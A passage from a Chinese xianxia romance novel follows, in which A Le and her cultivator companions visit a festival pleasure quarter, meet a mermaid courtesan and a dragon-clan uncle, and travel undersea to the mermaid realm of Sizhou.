阿乐看准时机,现在就是下手好机会。
手中捏诀,一个快闪到王娇阳背后,待对方反应过来,她的剑已经横在脖子上了。
“公主啊,认不认输?”阿乐凑在王娇阳耳边轻声道。
王娇阳低头看到船上的侍卫、还有旁边围观的船只,全部人都看到了自己现在这幅摸样,若是真的认输,以后还怎么抬起头。
不知从何处抽出一柄短剑握在手中,却还在犹豫要不要向后刺去。
此时,河里一阵翻涌,船只一阵摇晃,不远处几只小船已经翻了。顿时河里求救声一片,王一林命林将军先去救周围落水的人。
半空中飞身而起很多修士。叶敬亭飞身至阿乐身旁轻声道:“没事吧?”
阿乐笑道:“没事!”
或许是这两个字让王娇阳觉得没了面子,心一横短剑不偏不倚向身后的阿乐刺去。
“小心!”叶敬亭灵力从指尖发出挡住了短剑,再一用力,阿乐整个人已落到自己怀里。
“你——你多管闲事!”王娇阳未得逞,红着脸骂道。
叶敬亭冷哼一声,一手搂住阿乐,一手捏诀往空中一点,那柄原本在王娇阳手中的短剑此刻正悬在空中正对着自己的眼睛。
“你——你敢!”王娇阳声音有些颤抖,有汗顺着脸颊滴下,却还是不肯松口。
叶敬亭未回话,只是短剑又逼近了一分。
“哥—哥—救我!”王娇阳绷不住了,在半空中顿住身形,大喊着王一林救命。
“叶兄,看着王某几分薄面,算了吧!回去我会教训她的!”王一林在船上忙着救人,只是隔空喊话,他心里知道叶敬亭不会做出什么出格的事情,自己这妹妹确实需要有人“教训”一下了!
叶敬亭一甩手把短剑扔进了水里。王娇阳这才松了一口气,可能是刚才太过紧张,这劲一松整个人摇摇欲坠从半空中直直往河里摔下。
“啊————”
“敬亭哥哥,快—快救她!”阿乐紧张的抓住叶敬亭领袖喊道,这水里波涛汹涌,王娇阳这小身板掉下去只怕得去半条命。
叶敬亭瞟了一眼阿乐着急的摸样,手中捏诀,轻轻一抬,在半空中接住王娇阳,把她安稳的放在船上。
“叶兄,谢谢啊!”王一林声音传来。
“快下来帮忙,这河里只怕是有东西作祟。”叶鹤站在船上摇摇晃晃,对着叶敬亭喊道。
叶敬亭抱着阿乐缓缓落在船只上。
船只晃动的有些厉害,阿乐有些站不稳牢牢抓着叶敬亭手臂。
“鹤哥哥,这个到底是什么东西在作祟?在水里能搅动那么大动静的还能有啥?”阿乐好奇道。
“这鲛人族向来不主动发起挑衅的,且这中秋节在这搅动出这一番动静,又是为何?”叶鹤也疑惑道。
水里稍微平静了一些,王一林带着侍卫把救上来的人纷纷运往岸边。
船下暗流涌动,载着船只向前开去。
“鹤兄、叶兄、阿乐,你们快上岸,那船不知道要去哪里!”王一林在岸边喊道。
叶敬亭和叶鹤顿时来了兴趣,他们也想看看这船到底开去哪里,又是何人所为,叶鹤向着王一林摆摆手,示意不用担心。
“我们这样跟着船去吗?”阿乐有些担忧道。
“我在。”叶敬亭抬眸看向阿乐,声音坚定又温柔。
阿乐看着叶敬亭投来的眼神微微愣住,好似两人已认识很久,不知道为什么只是简单的两个字,却能让自己安下心来。
“站稳了!”叶鹤喊道。
脚下的船忽然快速游动起来,载着三人调了个头往西边开去。
4. 中秋节(中)
“鹤哥哥、敬亭哥哥,你们看!西边那不就是‘百花苑’!”阿乐指着不远处道。
“刚才这一顿闹腾,王一林一行人都上岸了,船还是自顾自在游走,难道是冲着我们来的?”叶鹤缓缓道。
说罢两人对看了一眼,似乎在责问对方:“是不是你答应了人家小娘子什么?”
叶敬亭一脸无辜,也对,他自己闹市都少去,何况是来这烟花柳巷的地方,叶鹤摊手也表示无辜,他可不会欠姑娘家什么感情债,他是最怕麻烦的。
那还能有谁?
两人一同看向阿乐,叶鹤上下打量了几圈,难道是之前某几次男扮女装被谁家小娘子盯上了?
叶敬亭沉着脸若有所思,丝丝寒气从双眸中透出来。
叶鹤摇了摇白扇,嘴角轻笑,这小师弟连女人的醋也吃啊?
“你们盯着我干嘛?一会就要去‘百花苑’啦,我还是第一次来!这里的小娘子应该都很美吧!”阿乐一脸傻乐,就算她女扮男装是有几分俊俏在身上,但这清澈的目光,真的有小娘子会看上?
船身一阵晃动,顺着河流转了个弯,速度明显慢了下来。
看来目的地快要到了。
不愧是兰陵城最热闹的地方,百花苑不是某一家店的店名,是因为这里开店的商铺都是以各种各样的花为名,各店有各店的招牌特色,久而久之大家就用“百花苑”来称呼此地,倒也算是贴切,
“啊呀,小哥哥,长得可真俊啊,看这边!来我们海棠苑找我啊!”
这一嗓子,把周围招揽顾客的小娘子目光都吸引了过来。这艘船本就气派得很,再加上叶鹤、叶敬亭这两人身姿挺拔的站在这,河两边不一会便层层围满了看热闹的人群。
有几名胆大的小娘子开始往船上扔蒲扇,其他小娘子也不甘示弱,往船上一顿乱扔,不一会船甲上铺满了各式各样耳环、丝巾,还有绣着名字的手帕。
甚至还有几件——几件肚兜!
“你们也太受欢迎了些!”阿乐把一块手帕从头顶拿下举在手中,有些无奈道。
她确实有些讶异,这里的小娘子什么样的人没见过?怎么见到他们两人如此失控!她仔细把两人来回又看了个遍,颜值气质确实非凡,可是——真有那么夸张吗?
船又载着三人往前缓缓滑行了一段,明显降下速来。
“看来就是这里了”,叶鹤展开白扇遮住半张脸对叶敬亭低语。
“嗯。”叶敬亭仔细辨别着岸上的每一个人,不错过任何一个。
“鹤哥哥,你看!你看那边——”阿乐兴高采烈跑到叶鹤身旁,悄悄指着一座拱桥上的人道。
叶鹤狐疑的向拱桥望去,人来人往并未什么可疑之处,正要开口询问,人群中一袭金黄色长发一晃而过。
自古以来只有鲛人族的头发是金黄色、浅棕色,而过了六岁就都能幻化出腿。自从鲛人族不再依附龙族独立之后,在兰陵城见到鲛人并不是什么稀奇的事情。
只是——叶鹤轻轻蹙眉,她身上怎么有一股熟悉的味道。
一双闪着幽蓝光芒的大眼睛在脑海中一闪而过,难道是她?
来不及思考太多,叶鹤飞身向拱桥追去。
“鹤——”哥哥两个字还未喊出口,叶鹤已经消失在夜色里。
叶敬亭走到阿乐身后,轻轻道,“没事。”
“百花苑”里的各家小娘子还在卖力的叫喊着,阿乐偏头刚好看到叶敬亭侧脸,眼眸微微低垂看着河岸边,鼻梁高挺,与下颚线连成好看的弧度,“怎么会有人五官那么清淡,组合在一起又那么好看呢?”阿乐一时间看得有些入神,没注意到叶敬亭投来的眼神。
“阿乐?”叶敬亭轻轻唤道。
耳旁声音逐渐清晰,回道:“我在,我们现在要去哪里吗?”
叶敬亭点点头,手在袖子里握拳又摊开犹豫了一会,终于把手掌在阿乐面前摊开,“牵住我。”
阿乐眨巴眨巴眼睛,看着这白净修长的手指,没有任何犹豫自然的把手放了上去。
手心合拢,叶敬亭嘴角扬起微不可查的弧度。
待船进入一个被岸边垂下的树枝遮住的地方,这里人最少,离岸边也最近。
“小心脚下。”
叶敬亭拉起阿乐往岸边飞身而去。
待船从树枝中穿出时,听闻一片小娘子们的失望之声。
终于把那些人甩开了,阿乐长输一口气,看着叶敬亭笑眯眯道:“不如我们就去开开眼界吧!早就听闻这里有鲛人,我还没见过!”
“好。”没想到叶敬亭答应的那么干脆,阿乐开心得差点跳起来。
“在这百花苑最出名的鲛人就数那‘莳花馆’的头牌晗落了,我们就去‘莳花馆’吧!”阿乐道。
叶敬亭看着阿乐因有些激动微红的双颊,手里捏诀,对着她轻轻一点,一套干净利落的男装便换上了。
阿乐看着自己翩翩公子的打扮,甚是满意,在这种鱼龙混杂的地方确实是男装要更方便一些。
莳花馆在这百花苑也算排名前三,在今日中秋节,不知有多少外族人只能在这外乡睹月思人,或者人就在眼前,只因流着不一样的血也只能远远看着。
还没走到莳花馆,门口几名小娘子远远看到两人,便款款而来,一左一右守在身旁,眼神含情脉脉上下打量着,一开口阿乐鸡皮疙瘩便起来了:“啊呀,看着这两位公子面生呀,第一次来百花苑吧!”
“既然是第一次来,那我们莳花馆可值得来坐坐。”另一名小娘子道,说着手边不自觉抚上阿乐脸庞,高耸的胸脯紧紧贴着阿乐。她哪见过这般阵仗,感受着这不属于自己身体的柔软,全身僵硬得手都不知该放在哪里。
“紫苏,你别吓着这位小公子了,你看,他手心都出汗了。”说罢拉过阿乐手放在手里轻轻揉捏了一下,第一次遇到那么单纯的俊俏公子,这些小娘子怎么舍得轻易放过,本还想再调戏几句,手腕处传来一阵刺痛,身体不自觉向后退去。
“够了。”叶敬亭挑开那些围在阿乐身边的小娘子,挡在她身前。
几名小娘子握着手腕,正想撒泼,这时一道轻盈的声音从不远处传来。
“啊哟,真是对不起啊公子,我们这些小娘子平时都粗鄙惯了,惊到了两位真是抱歉。”远处款款走来一个稍有姿色的老鸨,虽然年纪稍长些却是风韵犹存。
老鸨继续道:“两位公子,若不嫌弃,我们楼上有雅间,季岚这时间也有空,她擅于音律,可弹琴为两位助兴。”
其他几名小娘子听到“季岚”这个名字,不悦的撇撇嘴,几句低语传来:“不就会谈个破琴嘛,有什么了不起。”
老鸨回瞪了一眼,几人才不情不愿的安静下来。
叶敬亭不语
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,回眸看了一眼阿乐,他去哪里都可以的。
阿乐从身后冒出头,抬眼对上叶敬亭眼神,定了一会道:“行。但是——这些小娘子不许跟着我们。”
带头的小娘子们听到这句话,“切——”一声撇过头,转身便走了,其他几名也跟着她走了。
老鸨眼珠子在两人身上八卦的转来转去,尔后一副她了然于心的样子,在前带着两人往“莳花馆”走去。
“莳花馆”里仿佛另外一个世界。
整个大厅是圆形,有大大小小估摸着有六个舞台。舞台也都是圆形的,以便于顾客能够全方位欣赏到歌舞表演。这装潢是真用了心,根据每个舞台都精心搭配了不同的布景。
有一个舞台不知是做什么用,烟雾缭绕中轻纱随意飘动,只见有个曼妙身姿在烟雾中若隐若现。四周围着的人明显比其他舞台多出两倍。
“敬亭哥哥,那边那个舞台是做什么的啊?”阿乐停下脚步指着舞台。
叶敬亭向舞台看去,盯了一会双眸便垂下,他顿了顿道:“就是歌舞而已。”
“哈?是吗?”阿乐有些疑惑,“那为什么那边人那么多?”
老鸨听到两人对话,瞟了一眼舞台,略带骄傲道:“这位小公子,有所不知,那是我们的招牌。”
说罢凑近阿乐耳语了一番。阿乐身形僵住,眼睛瞪圆,只见两朵红晕浮上脸颊,低下头看着脚下不再好奇看去,拉着叶敬亭袖子道:“我们还是快上去吧。”
老鸨把两人引到雅间外,敲了敲门便自行离开了。
不一会,门打开了,一阵香气扑面而来,一名面带桃花的小娘子站在两人面前,媚眼含笑道:“两位公子里面请。”
阿乐眨巴眨巴眼,轻声道:“这随便一个姑娘就长得那么水灵!不知道晗落得多美!”
叶敬亭手指捏诀,手掌冒出白光,一只白色流光鸟飘然飞起,向窗外飞去。
“两位公子是想来找晗落姐姐吗?她今天可是有贵客在。”季岚不但没有生气,反而替晗落解释。
“贵客?是需要有很多银子才行吗?”阿乐问道。
季岚掩嘴轻笑,一双媚眼含情脉脉,时不时停留在叶敬亭身上。
“今天的这位贵客给的可是龙曜石。”季岚抱起琵琶看向叶敬亭缓缓道:“公子,想听什么?”
“随便。”叶敬亭微微垂眸,淡漠的回道。
“龙曜石?用来炼武器可以直接提升一个档次的那个龙族的宝物?”阿乐眼睛冒着星光,声音有些激动。
叶敬亭点点头。
“那就是说那个贵客是龙族的人咯?”阿乐有些兴奋,虽然在她很小的时候父母便离开了她,但是她记得父亲是龙族的人,还与她说过很多龙族的事情。这也是她第一次真正遇到龙族的人,有些兴奋又有些紧张。
叶敬亭知道她在想什么,低头查看了一番她藏在腰间的“灵牌”,手指捏诀再加固了一番,只要有这“灵牌”在,想必也不会出什么差池。
这时,窗外刚才那只飞出去的流光鸟翩然落在叶敬亭肩头,扑棱着翅膀,半晌叶敬亭点点头,流光鸟消失。
“我们去找晗落。”叶敬亭温柔的看着阿乐道。
“好呀!”阿乐高兴回道,拉着叶敬亭就往外走。
季岚轻抚着琵琶,依依不舍的看着叶敬亭飘起的衣角,“可惜了。”
5. 中秋节(下)
刚才飞回来的流光鸟正是找到叶鹤后飞回来的。
“敬亭哥哥,那现在龙族的人在,晗落会见我们吗?”阿乐有些担心道。
“会。”简单回答打消了阿乐顾虑,她点点头,脸颊因兴奋显出淡淡红晕。兴奋的不止是能见到晗落,还有龙族的人,不知道他会不会知道爹爹的消息。
莳花馆大厅里人流不息,有人离开,也总有人源源不断进来。
按照流光鸟回传的信息,叶敬亭很快便找到了。
两人站在房门外,阿乐看着这平平无奇的房门有些疑惑,怎么看也不像里面有人的样子。贴耳趴到门上仔细听,还是没有任何动静!莫非——
看着阿乐脸上又浮起的红晕,叶敬亭知道她又想歪了,轻轻叹口气把她扶正,这才敲门。
“咚咚咚——”
“今天晗落已有约,明日再来吧!”房里传来声音,好似玉落珠盘,字字清脆动听。
又稍隔了一会,门开了。
顿时一阵笑声从房里传了出来,与刚才的安静截然不同,有着歌舞升平的热闹。
“两位公子,晗落姐姐请你们进去。”开门的小丫头看着年纪善小,却一副小大人的摸样。
阿乐扯扯叶敬亭袖子,轻轻挑眉,低语道:“你怎么知道晗落一定会见我们的?”
未等叶敬亭回答,一黑发随意披肩的俊美男子便从里屋走出来,阿乐看到是叶鹤,眼前一亮,高兴喊道:“鹤哥哥,你—你怎么在这?”
“来,阿乐,给你介绍下,这位是——”叶鹤身上带着些许酒气,一把拉过阿乐往里走去。
这歌舞的声音便是从这里传出去的,这些只穿着轻纱裹体的歌姬,随着舞蹈扭动着腰肢,仿佛一只只在山野里玩耍的小精灵,轻盈魅惑。
“这位便是阿乐妹妹吧——”这声音真是好听的紧,金黄色卷发随意拢起,几缕调皮的发丝飘荡在额前,湖蓝色的眼眸,吹弹可破的肌肤白的发光,这——就是传说中歌声可魅惑敌人的鲛人吗?这何止是歌声,光看到一眼也会被勾去魂魄吧。
阿乐站在原地直勾勾看着晗落,满眼都是晗落的一颦一笑,周围的声音渐渐模糊。
“阿乐,阿乐!”好似从远古飘来的声音,紧接着眉心中间一阵吃痛,周围声音清晰起来。
叶敬亭的眉眼映入眼帘,“阿乐,阿乐——”
“敬亭哥哥——”
“深呼吸,重新凝聚灵力。”
阿乐照做,周围安静下来,晗落、叶鹤的脸逐渐清晰。
“我怎么了?”阿乐这才意识到自己刚才是不是晕过去了。
“阿乐第一次来这风月场所,又是第一次见到鲛人,对鲛人的魅惑之力没有准备,这才没稳住。”叶鹤解释道。
“都怪我,都怪我。你们先下去吧。再拿些温水进来。”晗落对着歌姬吩咐道。
“是。”歌姬们纷纷退下,诺大的房间这才安静下来。
“我——”阿乐有些恼自己一副没见过世面的样子,想说点什么又欲言又止。
半晌房门开合又关起,一个浑厚有力的声音传来:“快,喝了这杯温水吧。”
阿乐只觉得眼前被一道黑影挡住,揉揉眼睛才看清楚,是一张陌生的脸,眉眼之间似乎有些亲切。
“来,阿乐,喝了这杯温水。”阿乐仰起头,咕嘟咕嘟一口气全喝了下去。
“这位大哥,请问你是?”阿乐问道。其实她心中已有了答案,只是还是想亲口听对方确认。
“龙应,你这小妮子按辈分该叫一声我龙伯伯吧。”龙应笑道。
这位龙应就是龙族族长龙天一的二儿子,龙应。
大家都知道龙族二公子,不娶妻生子,也不见带女眷回家,就是一副肆意潇洒、游戏人间的姿态,都不知道惹了多少小娘子为他落泪。
原来就是爹爹的哥哥长这个样子呀,也不知道小时候见没见过。
“啊呀,我这妹妹还在有些迷糊,龙兄莫怪啊!”叶鹤上前拍拍阿乐肩膀道。
“鹤哥哥,阿乐好了。龙伯伯,你叫我阿乐就好。”阿乐笑眯眯的看着龙应,这可真的是她二伯伯,她只是第一次见到亲人,有些激动又要小心掩盖好,才稍微慢了些。
叶敬亭看出阿乐内心的激动与慌张,与她并肩站着,手掌轻覆在阿乐背上,悄悄捏诀传送了一些灵力帮她稳定情绪。
“别站着了,坐下说吧!这一桌美味都要凉了。”晗落轻笑道。
说罢拉过阿乐一起坐下,关切的问道:“阿乐妹妹,你没事了吧?”
阿乐摆摆手,有些不好意思。
晗落娇笑道:“妹妹这男儿打扮还真是有几分俊俏公子的摸样。”阿乐听到这般夸赞有些害羞,只是傻笑着。
叶鹤展开白扇捂住嘴角,看了一眼叶敬亭,眼神似乎在说:“看你那傻媳妇儿—”
叶敬亭礼貌的回敬了一个白眼。
“这阿乐看着面生啊,但是身上又有神族气息,是鹤兄徒儿吗?”龙应看着叶鹤、叶敬亭两人对这小妮子关爱有加,不免多看了阿乐两眼,叶修一早就没有收过新徒弟了,叶敬亭那独来独往的性格断不会收什么徒儿,那只能是叶鹤的徒儿了。
“我散漫惯了,带个徒儿多麻烦啊。是师兄看她无父无母有些可怜便收下了,这不让我们带出来见见世面嘛。作为她长辈,老被喊‘师叔’多难听啊,行走在外还是要一些体面的嘛,干脆就叫‘哥哥’,多好听啊!”叶鹤脸不红心不跳瞬间便编攒出一个故事,看来这听书楼老板名不虚传啊。
叶敬亭在一旁听着这些胡言乱语,早已习以为常,眼皮都未抬一下。
龙应听着叶鹤胡诌,明知道多半是水份,眼波流动,心里掂量着真假。
推杯换盏之间又过去几个时辰,窗外传来一阵阵欢呼声。
“大概是在放天灯了吧!”晗落道,这兰陵城的天灯可也是一绝,去年的中秋节,整片星空都飘满天灯,不知承载了多少人的心愿和希望。
晗落起身把半闭的窗户完全撑开,果不其然点点灯光点缀了星空,一盏盏天灯迎风而上,汇成一片灯海,场面甚是壮观。
“哇——好美!”阿乐挪到窗边,成片的天灯倒映在眼眸中,这一幕似乎在哪里有见过,却又想不起,可能是在梦里梦见过吧。
叶敬亭悄然站到阿乐身旁,看着满眼天灯的阿乐,嘴角跟着一起上扬。
这一夜是阿乐那么久以来最放松、最快乐的一天。仿佛父母还未离去,她还是有家有人保护的人,承着这良辰美酒又多喝了几杯酒。
这一顿折腾又到了后半夜,阿乐不胜酒力早已沉沉睡去。
龙应还在吵着要与晗落不醉不休,叶鹤等人已在回听书楼的路上。
叶敬亭抱着阿乐在前走着,夜明珠悬在半空照明前路。
叶鹤一把白扇合拢又展开似是有许多话如鲠在喉。
大概是喝了酒的缘故,此时看着小师弟这般坚毅的背影不由得有些伤感,这小师弟可是师父——神族天尊叶修一最为看好的弟子,从小天资聪慧,一直以来遵守天规严以律己。偏偏遇到了阿乐,明知许多事不可为却要为止,明明只是千万分之一的渺茫机会,却偏偏一头扎进去便不回头。
可偏偏就是这样的叶敬亭,却又是让人最羡慕的。
“阿—嚏!”打完喷嚏的阿乐在叶敬亭怀里重新找了个舒服的姿势又沉沉睡去,嘴里不知在嘟囔什么,断断续续只听到什么“好喝”“这顿我请”,叶敬亭抬起左臂,凑近耳朵想要听清她在说些什么,一股热气呼到耳边,一抹红晕瞬间晕染了
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半张脸。
饱满红润的嘴唇近在咫尺,叶敬亭喉咙上下翻滚,挣扎一会还是俯下身去,轻啄了一口带有酒香的嘴角。
丝毫没有注意到身后的叶鹤已不见踪影,当然以叶鹤的修为他也不会担心。
隔着两条街道另一边,叶鹤站在空无一人的巷子里,掌心腾起一片赤炎,蓄势待发。
“既然喊我来这儿,为何又不现身?”白扇半遮面,眼神透着冷光。
“鹤公子,是我。”清脆甜美的声音响起,这是晗落?
与刚才在莳花馆见到时那风情万种的摸样不一样,现在的晗落洗去风尘清纯可人。
“哦?晗落姑娘?莫是刚才没喝尽兴,想喊我再来喝几杯?”叶鹤随意开着玩笑小心试探着对方,他们之间除了喝酒还有什么可聊的?
“鹤公子,你看这是什么。”显然晗落并没有接茬,自顾自摊开手把手掌里的东西抬到叶鹤面前。
叶鹤并未躲闪,这熟悉的气息,就是在那拱桥上感受到的气息。
“你从哪里得到的这个东西?”叶鹤一把抢过晗落手掌里的东西,掌中赤炎瞬间击中晗落左肩,晗落飞出数十丈。
这是一个晶莹剔透的水滴吊坠,吊坠里藏着一片大海,贴过耳朵还能听到大海拍打的声音,还能嗅到几分海水咸湿的味道。
这个吊坠是很多年前珞汐贝送给他,后来他又还给了珞汐贝,现在怎么会在晗落手上?
晗落并未还击,任血顺着嘴角流下,“扑通”一声原地跪下,带着哭腔道:“鹤公子,求求你去救救珞小姐吧!”
听书楼。
叶敬亭轻车熟路把阿乐安顿好,又加盖了一床被子仔细掖好才离开。
走回房间发现里面烛光摇曳,只听到房内有人来回踱步,这个时间、这个地点也只有叶鹤会来找他了。
“嘎吱”一声房门打开又关上。
叶敬亭抬眼瞟了一眼坐立不安的叶鹤,很少见到他这样子,看来刚才势必发生了什么。不等他开口问,叶鹤已然按耐不住一顿输出。
“你确定那吊坠是当年珞汐贝送你的那个吗?”叶敬亭问道。
“不会错。”叶鹤祭出吊坠递给叶敬亭。
叶敬亭用灵力探查一番确实没有法力的痕迹。
鲛人族之前一直是依附龙族的,后来正是这珞珈珠与珞溟一起向龙族族长龙天一请愿才得以独立。但因两人管理理念不同,经常因为一些小事争论不休,干脆将泗州从此一分为二,分为东泗州与西泗洲,他两人虽各管一边,但也不是相互敌对的存在,两边鲛人也自由交往。
东泗州族长除了珞珈珠,还有其他族长珞音、珞子箐迹,这洛汐贝便是珞音之女。
“珞音一直以来是跟随珞珈珠,现在自己的女儿嫁给珞溟,说明东西泗州关系不错,这不见得是一件坏事。”叶敬亭说罢,看着叶鹤。
叶鹤白扇在手里来回旋转,满脸都是担心。
他是在十多年前救过一次洛汐贝。那时候洛汐贝刚满十六岁,身体还是无性别体征,按照鲛人族规定,年满十六岁便可以自由选择性别。
洛汐贝对他暗生情愫,自然选择成为女性。他那时只顾着其他,哪里有时间想这些事,再加上清灵山本就恪守律己,各族之间不允许通婚的法令更是牢记心中。
叶敬亭明白他的为难,但有些事情旁人是帮不了做决定的。
一时间房间里安静极了,只有烛火偶尔“噼啪”的声响。
半晌,叶鹤才开口道:“明天我们去泗州。”
“决定了?”叶敬亭淡淡道。
“嗯——”停顿了一会又继续道:“只是救人。”
烛光在两人脸上来回跳动,阿乐还不知道明天要出发的事,还在梦里回味着在莳花馆的美酒佳肴。
6. 泗州(上)
东边才刚露出一点鱼肚白,叶敬亭房门外便响起一顿急促敲门声:“起床了!起床了!”
是叶鹤,从未见他起那么早过。
叶敬亭闭上眼并不搭理,这个点阿乐还没醒呢!
“给你一盏茶的时间,如若不然,我亲自去拉阿乐起床!”叶鹤一字一句说完便离开了,他有十二分把握,不出半盏茶的时间,叶敬亭便会穿戴整齐的出现在大厅内。
不过他失算了。还未走出几步,房门便打开了:“不必了。”
听书楼好久没有大清早的就那么热闹过了!若楼听到声响,早早便起来去伙房忙活。
这天才刚亮开,三人已穿戴整齐站在门口。
阿乐嘴里叼着一个馒头,睡眼惺忪,天知道她今早是多么艰难的才从床上爬起来:“鹤哥哥,我们真的要去泗州吗?你可别骗我!”
之前游历一年,到了其他族地界也没怎么好好游玩过,这次可得好好看看,这心心念念的鲛人族生活的地方到底是什么样的。
听说是一个完全不一样的地方,那里没有山,只有水,那些水都是宝蓝色的,宝蓝色的水,那得多美!
“那当然,我什么时候骗过你。说不定还能到他们的宫殿去看一看。”叶鹤白扇合拢握在掌心,顿了顿收敛笑容继续道:“时间差不多了,我们启程吧。”
三人捏诀祭出宝剑正准备御剑而去,此时一道红光闪现,叶鹤定睛一看,这不是龙应嘛。
“三位这是准备要去哪里呀?”看着这悬在空中的剑,龙应问道。
这么早他怎么就来听书楼了?不会是凑巧吧!
“龙兄,好久没见你来这听书楼了!”叶鹤道。
“想念这听书楼的秋露白,好久没来了。这听书楼向来人多,想要个好位置听书,是得来早一些。”龙应笑眯眯应对着,看来并没有什么不妥之处,总不可能是晗落主动说的吧。
“我们准备去泗州。”阿乐回道。
“泗州?那鲛人族族长我都熟啊!”龙应一听,顿时来了精神,自从鲛人族分离出去自立门户,那珞珈珠与珞溟这两位老部下也是许久未见了。
叶鹤把玩着手中白扇,龙应与他们也算是老相识了,这次去只是去救人,又不是其他,带上他说不定还能有用到的地方。
望向叶敬亭,看他一脸淡然,并未有不适之貌。
“龙兄要是没其他要紧事,要不要一同前往?”叶鹤发出邀约。
龙应哈哈一笑,道:“去见见老朋友,未尝不可。”
若楼站在门口看着天空中划过的四道光芒,嘴里默默祈祷:“愿平安而归。”
飞出人族地界,地貌不再似那般富饶,越往南空气中湿度越重。
不知过了几个时辰,脚下终于一片蓝海,波光粼粼的海面,映照出蓝天上白云朵朵,在内陆哪里看得到这样的景色。
阿乐看到此番美景开心的差点从剑上摔下来,这般风景难怪孕育了那么美的族群。
“亭哥哥,你快看,这里的海水是透明的哎!”几人站在海边遥看这泛着金光的海平线,只觉得心旷神怡。
“这里便是泗州的出入口了。”叶鹤也是十多年前来过一次,依稀记得这里便是入口。
这泗州龙应也是第一次来,之前有事都是他们去大泽陆找龙族的,看来这鲛人族真是会选地方,确实极美。
阿乐更不用说了,现在巴不得立马跳进海里去看看。
叶敬亭观察了四周,并未有明显入口的样子,那就只能自己动手了。
手中快速捏诀结印,海边一阵翻涌,半晌便平息下来,海水仿佛被驯服,乖乖的从地下掀起露出海底的珊瑚礁、石块,被掀起来的海水形成一座拱桥,几人安然从拱桥下穿进去。
“你们看这鱼的颜色好漂亮”
“这个珊瑚好美啊,鹤哥哥能不能带回家啊!”
······
一路上阿乐叽叽喳喳兴奋不停。
走了快一柱香的时间,越往里走海底越深,四周越来越黑,前方依稀有些“叮叮当当”的声响。
四人迅速寻了一处紫红鲜艳的珊瑚礁,躲在其后。
“快走!有什么话去跟珈珠族长说!”一队身穿铠甲的鲛人从远处游来,中间按押着一个人族男子,看男子样貌斯斯文文,也不知是犯了何事被这样关押。
“队长,我们是真心相爱的,我们答应族长,不生孩子,这样行不行?”男子哀求道。
领头的队长转过身用三叉戟对准男子喉咙,厉声吼道:“自古以来,各族之间不许通婚,这样的天规你们又不是不知,为何还要以身犯险?”
男子张口半晌也没说出什么,只是茫然的看着鲛人。
“哥,你别伤害他,是我,是我先动心的。”远处游来一鲛人女子,拉着队长跪下不起。
“你—当初就不该允你出去。”队长满脸心疼,不忍再看女子,只好别过头去。
“哥,他就是个普通人族,以后生下的孩子‘浮生烬’能量微乎其微,不会有危险的。”女子满脸泪痕,眼光楚楚看向队长,期盼着他松口。
队长甩开手,把心中担忧大声吼出来:“那也只会是个灵力低下的半妖,或者妖都不如,以后要他怎么办?”
顿时四周安静下来,只剩下女子隐忍的啜泣声。
“他们不会要杀了那个人族男子吧?”阿乐戳戳叶敬亭,低声问道。
叶敬亭点点头。
“那以后不生孩子也不行吗?”阿乐追问。
“两个相爱的人在一起,怎么不会想有后代?”叶鹤回道。
阿乐看着跪在地上哭泣的女子,暗暗握紧了拳头,深吸一口气,转眼间便从珊瑚礁后冲了出去。
叶敬亭毫不犹豫紧跟其后。
叶鹤半只手伸在水中无奈得收回,看着冲出去的两人,折扇差点飞出去,“阿乐你别冲动啊。”
龙应眯着眼笑呵呵看向叶鹤:“年轻人就是一身血气方刚,无碍无碍,我们也一起去看看。”
队长看到从珊瑚礁后突然冒出四人,最前面那个横眉竖眼满脸怒气正向自己冲来,一丝惊讶闪过脸庞,但很快反应过来,举着三叉戟作防御状,其他鲛人也很快围拢过来。
“你—你们是谁?怎
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么进来的?”队长厉声问道。
“他们相爱有什么错?为什么一定要把他们抓起来?”阿乐质问道。
两人就这样僵持在原地。
半晌,队长左右打量着几人,眼神最终停留在龙应身上,旁边鲛人在他耳边言语了几句,队长双眼微微睁大,立马令其他人放下武器,毕恭毕敬道:“原来是龙族、神族的朋友,在下珞子箐,正在捉拿要犯。”
“要犯?他们犯了什么罪啊?”阿乐怒气未消,听到“要犯”两个字,心中怒火再次燃烧。
“各族之间不可通婚,否则触犯天规,诞下混血儿终将铸成大错。”珞子箐义正言辞道。
“天规”“混血儿”这些字眼像一根根带刺的毒针准确无误扎入阿乐心口,她一肚子火却发不出,祭出“雪落剑”握在手中,看样子珞子箐是逃不过一战了。
珞子箐眼神看上去有些迷惑,剑锋却已到了眼前,来不及多想,举起三叉戟一个反击,只好先迎战了。
其他鲛人看着都是神族、龙族的人,也不敢轻举妄动。
两人你来我往,灵力引起的水波把周围珊瑚打得稀碎,鱼群纷纷躲避。
“叶敬亭,你就这样看着?”叶鹤传来只有他两听得到的秘音。
“不会输。”
“我说的是这个吗?我们是来救人的,现在就得罪了人家,后面怎么救人!”叶鹤有些气急败坏。
叶敬亭却不再理他了。
一柄白扇展开合拢,又展开,如此反复。
龙应看出叶鹤的心思,清清嗓子道:“鹤兄,莫急,我去劝架。”
“两位可能有些误会,我们坐下来慢慢说!”说罢,一道灵力从掌心发出,把两人隔开。
阿乐还有些怒气未消,提着剑还想再战。
叶鹤一把拉住,低声道:“你杀了他又如何,这天规又不是他定的。”
阿乐回头瞅了叶鹤一眼,其实她心里知道,只是觉得有些委屈,凭什么“混血儿”就要被消除,她在爹爹和娘心里可都是宝贝。
想到此,阿乐眼眶瞬间红了,怒气全部消散,满肚子都是委屈,收起“雪落”低着头一言不发。
看着她垂头丧气的样子,叶敬亭在乾坤袋里一阵搜索,摸出几颗夜明珠,又瞬移到刚才来的路上捡了几颗形状怪异的石头,又捉了几条鱼这才满意的返回来。
“阿乐,你看这块石头,像不像刚才看到的那个珊瑚。”
“这个鱼是只有在泗州才有的,看上去就很好吃,不知道烤着吃味道怎么样。”
“这个夜明珠也是泗州的,不过是西泗洲,那边长的夜明珠都特别亮。”
“还有这个——”
叶鹤看着两人背影,阿乐终于抬起头,白扇合拢敲敲自己头,下次说话可不能那么直白了。
龙应那边正在与珞子箐小队交谈,对方脸上逐渐展开笑容,叶鹤这才舒一口气。
正事还没办呢。
叶鹤正在琢磨着要怎么找到珞汐贝,此时一队鲛人正向这里游来。
“几位上神,珞溟族长有请。”
来的正是时候。
7. 泗州(中)
没想到在这无尽幽蓝的海底之下,还有这样一座隔绝海水的广袤。
那几名鲛人走进这片空间便鱼尾消失,变得与人族无异。阿乐等四人也收起避水符,脚踩在这地上,能感受到浓郁的灵力在水晶柱上流动。
珞子箐滔滔不绝介绍着这座披着霞光的玄晶宫,整座宫殿是由深海玄冰玉雕琢而成。成群结队的水母散发着柔和的粉蓝色光,井然有序在前方照明道路。
